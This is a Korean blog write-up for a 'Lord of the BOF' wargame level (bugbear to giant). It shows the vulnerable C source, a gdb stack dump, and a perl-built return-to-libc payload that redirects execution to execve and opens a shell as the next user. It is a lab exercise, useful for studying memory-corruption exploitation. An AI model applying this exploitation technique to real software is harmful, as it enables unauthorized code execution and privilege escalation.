최상단

컨텐츠

[wargame/BOF원정대] bugbear -> giant

글 정보

Category
WarGame/The Lord Of The BOF
2013. 10. 2. 08:57

본문

소스는 아래와 같다.

  1. /* 
  2.         The Lord of the BOF : The Fellowship of the BOF 
  3.         - giant 
  4.         - RTL2 
  5. */  
  6.   
  7. #include <stdio.h>  
  8. #include <stdlib.h>  
  9. #include <unistd.h>  
  10.   
  11. main(int argc, char *argv[])  
  12. {  
  13.         char buffer[40];  
  14.         FILE *fp;  
  15.         char *lib_addr, *execve_offset, *execve_addr;  
  16.         char *ret;  
  17.   
  18.         if(argc < 2){  
  19.                 printf("argv error\n");  
  20.                 exit(0);  
  21.         }  
  22.   
  23.         // gain address of execve  
  24.         fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'""r");  
  25.         fgets(buffer, 255, fp);  
  26.         sscanf(buffer, "(%x)", &lib_addr);  
  27.         fclose(fp);  
  28.   
  29.         fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'""r");  
  30.         fgets(buffer, 255, fp);  
  31.         sscanf(buffer, "%x", &execve_offset);  
  32.         fclose(fp);  
  33.   
  34.         execve_addr = lib_addr + (int)execve_offset;  
  35.         // end  
  36.   
  37.         memcpy(&ret, &(argv[1][44]), 4);  
  38.         if(ret != execve_addr)  
  39.         {  
  40.                 printf("You must use execve!\n");  
  41.                 exit(0);  
  42.         }  
  43.   
  44.         strcpy(buffer, argv[1]);   
  45.         printf("%s\n", buffer);  
  46. }  


구절구절 많은 구문들이 있지만. 결국엔 overflow에 의해 바뀌는 EIP가 execve 함수여야 한다는 것이다.

그리고 다행히 stack hunter 같은 넘은 없다.


일단 execve 함수를 써야하니, 이 함수에 대해서 알아보자.

int execve (const char *filename, char *const argv [], char *const envp[]);

와 같은 인자를 가진다.


첫번째 인자는 /bin/sh 문자열을 저장하고 있는 포인터를 넘겨주면 되는데, 

문제는 두번째 인자이다.

포인터의 배열을 넘겨주어야하는데, 마지막이 null로 끝나야하기 때문에 이를 넘겨주는게 쉽지가 않다.

인터넷을 찾아보니 파일명을 조작해서 exploit 하는 방법이 있긴 하던데...다른 방법을 찾아보자.


execve 함수를 가지고 몇가지 테스트를 해봤다.

  1. #include <stdio.h>  
  2.   
  3. int main()  
  4. {  
  5. char *ss[2];  
  6. ss[0] = "df";  
  7. ss[1] = NULL;  
  8. execve("/bin/ls", ss, NULL);  
  9. return 0;  
  10. }  

위의 코드를 보면 파일명을 올바르지만, argv의 값은 엉터리로 들어가있다. 그렇지만 위 프로그램은 정상적으로 실행이 된다.


이를 활용해서 다시 문제로 돌아가보자.


execve 함수의 첫번째 인자는 /bin/sh 문자열의 주소값을 넣어주고,

두번째 인자는 valid 한 영역을 가리키고 있는 포인터와 그 뒤에 0x00000000 이 들어가있는 부분을 찾아 그 주소값을 넣어주면 될 것 같다.

세번째 인자는 null을 가르키는 곳의 주소를 넣어주면 된다.


스택을 살펴보니

(gdb) x/100x $esp

0xbffffae4:     0xbffffec5      0xbffffff4      0xfbfffffc      0x00000000

0xbffffaf4:     0x080484b0      0x00000000      0x080484d1      0x08048560

0xbffffb04:     0x00000002      0xbffffb24      0x080483b4      0x080486bc

0xbffffb14:     0x4000ae60



와 같은 부분이 있다. 이 정도면 꽤나 쓸만할 것 같다.

그래서 만들어진 쉘코드는...아래와 같다.


[bugbear@localhost bugbear]$ ./giant "`perl -e '{print "A"x40,"BBBB","\x48\x9d\x0a\x40","CCCC","\xc5\xfe\xff\xbf","\xf4\xfa\xff\xbf","\xfc\xff\xff\xbf"}'`"

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBH?

                                               @CCCC퉜웃?웠?

                                                                 bash$ whoami

giant


 [BUF][SFP][EIP(execve)][execve SFP][/bin/sh pointer][fake argv array][null pointer]

로 구성된다.


끝.!


'WarGame > The Lord Of The BOF' 카테고리의 다른 글

BOF 원정대 fedora core 3.  (0) 2013.11.27
BOF 원정대 redhat write up.  (0) 2013.11.27
BOF 원정대 클리어.  (0) 2013.10.01

트랙백과 댓글 여닫기

TOP